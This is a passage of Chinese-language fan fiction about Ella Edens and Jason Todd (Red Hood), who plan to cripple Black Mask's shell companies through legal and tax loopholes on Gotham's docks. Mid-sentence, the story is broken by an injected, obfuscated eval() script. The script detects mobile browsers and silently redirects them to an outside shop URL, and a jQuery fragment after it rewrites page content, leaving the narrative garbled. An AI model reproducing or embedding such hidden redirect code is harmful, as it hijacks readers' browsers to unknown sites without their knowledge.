艾拉·埃登斯讨厌赌博。
她更喜欢稳定的条款,可以玩文字游戏的契约,白纸黑字界定好权利与义务、代价与回报的边界。运气?那东西向来不可控。赌博可以出千、造假、在牌背上做记号,总归会有人输得精光。
她更喜欢双赢。或者...对方以为赢了。
她喜欢找合约、条款、法律文书上那些微小而致命的漏洞。
那些她熟悉的、甚至算得上少有的放松时刻,回到哥谭开始,被她刻意地隔离开来。她曾经以为自己再也不会主动触碰这些东西了。
没空,没时间,有太多更紧迫的事要处理:她必须记住东区有哪些有毒瘾的妓女生下孩子。在接客的时候;在毒瘾发作的时候;在她们需要补觉的时候。她们会把婴儿关在衣柜、塞进垃圾桶、或者锁在消防柜里。她们可能会忘记、会嫌哭声烦、会喂下过量的安眠药,然后第二天早晨抱着已经冰冷的孩子,哭得撕心裂肺。
她该去看那些不能亲自走到社区领取救济的人,该去确认那些还有救的人是否还活着。不是坐在桌前,用魔鬼的天赋去算计人类的贪婪。
但内心冒出个想法——把黑面具彻底赶出码头。
让他的毒品线在这里彻底瘫痪,让码头真正的变成好一点的地方。至于东区其他地方……
她垂下眼,手指无意识地划过笔记本边缘。不急。还没到和红头罩签订契约的时候。他对那些区域怎么管控、抽多少成、允许什么样的“灰色”存在,现在她都没有插手的立场。她需要时间,需要对红头罩这个人做一个更精准的评估。除开他表面上的血腥与残暴,她需要先对红头罩做一个大致的评估:他的底线在哪里,他的野心有多大,他愿意为“更好的东区”付出什么代价。然后提出一份双方都无法拒绝的条款:她帮他彻底掌握东区,而他必须让这片土地一点一点,变成人能住的样子。
杰森。
这个名字闪过脑海时,她停下滚动鼠标的动作。屏幕冷光映着她的脸,上面显示的是哥谭图书馆电子档案馆的页面——几份公司章程的扫描件,法人股东层层嵌套,最终指向几个空壳公司,而它们的实际控制人隐约透着黑面具的影子。
这是史蒂芬妮之前发现的线索之一。
她轻吸一口气。
算了。
红头罩那边不急。艾拉·埃登斯,你可以再等等。等到码头彻底脱手,等到工人们能自己处理大多数纠纷,等到社区事务不再事事需要你点头,等到你真的……没有办法的时候,再去考虑那份可能改变一切的契约。
让她再当一会儿艾拉。再在教堂窗边等着那个穿着旧夹克的男人推门进来,一起规划下周的物资分配,争论是该先修屋顶还是先加固围墙。让她还能因为接过半块牛肉饼时心跳漏掉半拍,看他靠在窗台上说话时,下颌线因为放松而微微松动的弧度。
她可以先处理这些。这些她最擅长的、一直在暗中吸引她的、如同灵魂刻印一般的东西。
红头罩的人在暗处最多能让黑面具那几个公司消停几天。但如果再加上彻彻底底的商业失利呢?用合法的条款困死他们的资金流,用税务逼他们补缴天价罚金,用股东纠纷让他们从内部开始腐烂——足够把这些伸向码头的触手,一根一根,从法律和经济的层面上彻底斩断。
今天是周四,平时这个时间她一般在汤普金斯诊所做志愿者,或者去社区发放止痛药和绷带。但今天她请假了,她去了市立图书馆泡了整个上午。
等艾拉整理好资料,从城里晃晃悠悠回到码头时,才发现杰森已经在等她了。
杰森坐在她常坐的那张长椅尽头,背靠着墙,一条腿曲起踩在椅面上,手里拿着本摊开的《基础社区医疗手册》——倒着拿的。他根本没在看,只是用拇指无意识地摩挲书页边缘,目光盯着窗外某处。
她在门口停顿了一秒。然后轻轻勾起嘴角,脚步快了两分。
杰森听见声音转过头。他没说话,只是把书合上放回原位,动作自然得像这里是他自己的屋子。
艾拉走到他对面坐下,从帆布袋里拿出那个廉价的硬壳笔记本,她翻开到中间某页,手指按在密密麻麻的字迹上。在翻开的瞬间,她愣了一下,露出几分真实的尴尬。
“我不擅长用电子设备。”她微微仰头,看着杰森,声音里带着罕见的窘迫,“你打字快吗?我查到些东西,以及整理出部分合同漏洞、法律条款,可以直接给你。”她顿了顿,认真补充,“如果要我打出来……可能会有点慢。”
杰森看着她。阳光下,她能看清他嘴角极轻微地动了一下。
“直接给我。”他声音里带着一点干涩的暖意,像冬日的阳光照在窗台上。
艾拉直接把那几页关键笔记撕下,动作干脆利落,没有半点犹豫。纸张边缘留下细小的锯齿,但她知道杰森不在意。
真是瞌睡来了送枕头。杰森挑眉,接过纸张时指尖不经意擦过她的手背——很凉,体温低的有些不正常。
杰森看了一下。字迹工整清晰,用的是那种最普通的蓝色圆珠笔,但笔画有力,每个字母都站得笔直。内容写得很简洁,但都有用:某公司的税务登记与实际经营不符;某份租赁合同的续约条款存在重大歧义;某个供应链协议里的定义过于宽泛,足以让黑面具在出事时全身而退。
正好可以给他手下那几个新培养的自己人练手。如果照着答案抄都写不好起诉状或举报信,那只能换人了。红头罩的阵营里不需要废物。
“北区旧码头、钻石区都不安全,”杰森抬起眼,目光落在她脸上,“你……最近少出去。”
艾拉眨了眨眼。她没有问“为什么”,没有追问“发生了什么”,甚至没有流露出丝毫好奇。她只是点了点头,平静地应下:“好。”
她从不问为什么。
他不知道到底是她真的什么也不在意——对危险、对秘密、对这座城市永不停歇的阴谋漩涡都漠不关心。还是真的把“杰森·陶德”这个身份当成了红头罩的二把手,对他的每一句警告都无条件接受。
不,不是这样。
杰森看着她。阳光从她身后的高窗涌进来,给她金色的头发镀上一层模糊的光晕,但她的脸在逆光中显得有些朦胧。他能看清的只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010590|193601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有那双眼睛——蓝色的,清澈得像哥谭湾雨后的天空,但此刻里面没有任何疑惑、不安或探究。只有信任。纯粹得近乎天真的信任,对杰森·陶德这个人的信任。
就像他说自己是红头罩的二把手,她就没再考究过,接受的如此简单。没有试探,没有查证,没有那种在哥谭必备的多疑。
一直以来的疑点在他脑海里串联:
她认识很多人——老约翰、汤普金斯医生、码头工人、甚至不少小帮派的成员。但她很少主动去参与什么。这些人只要不出现在她面前,或者她没有主动去接触,她就好像……忘了他们的存在。她的社交圈完全由“物理接触”和“当下需求”定义。
她对情绪的理解精准得可怕——能看出史蒂芬妮的紧张,能安抚米洛母亲的焦虑,能和老约翰用几个眼神完成复杂的工作交接。但她自己的情绪表达却异常……克制,但这多半是教会学校教导的结果。
她分的清人,但好像又分不清。所以她不追究,不深究,和大部分人保持距离。
认知障碍?天生的?还是后天的创伤导致?
杰森的呼吸微微滞了一下。如果是真的,那她表现出来的“平静”和“通透”,可能根本不是源于她想要这样。她用严密的逻辑和观察力,为自己构建了一套理解世界的替代系统。所以她能看穿人心,却不在意后续;能制定复杂的计划,却会为电子设备手足无措。
这大概率......被她自行矫正过,所以她表现得如此正常,正常到他现在才发现这件事。
这个推断让杰森感到一阵不适。像有什么东西沉甸甸地压在胸腔上,每次呼吸都需要多用一分力。
不,还不能做推断。他需要更多的证据。更多的观察,更谨慎的试探。
他把纸张仔细折好,纸张发出轻微的脆响。
“这些很有用。”他的声音比平时更低沉些,“我会让人去办。”
艾拉点了点头,她轻轻地松了口气。她转身走向储藏室,准备去拿烧水器旁边的抹布——药柜顶上有灰。
杰森看着她的背影。她走路时背脊挺得很直,但肩膀有些单薄,旧衬衫的袖口露出一小截干瘦的手腕。
他忽然开口,声音不大,但足够让她听见:
“艾拉。”
她停下脚步,转过身。阳光正好移到了她脸上,照亮她微微疑惑的表情。
“最近夜里……”杰森顿了顿,像是在斟酌用词,“码头可能会有点吵。如果听见什么声音,别出来。锁好门,等我……或者红头罩的人来处理。”
艾拉眨了眨眼。然后她轻轻点头,嘴角弯起一个很浅的弧度。
“好。”她说,“我会等你。”
她说的是“你”,不是“红头罩的人”。
杰森握紧了手里的纸方块,纸张边缘硌着掌心。他移开视线,看向窗外。码头上,起重机正在吊装一批新到的钢材,钢铁碰撞的轰鸣隐约传来。
他需要去安全屋,需要把这些资料交给手下,需要布置今晚北区旧码头的行动。
才能把这样和平的日子再延长一点点。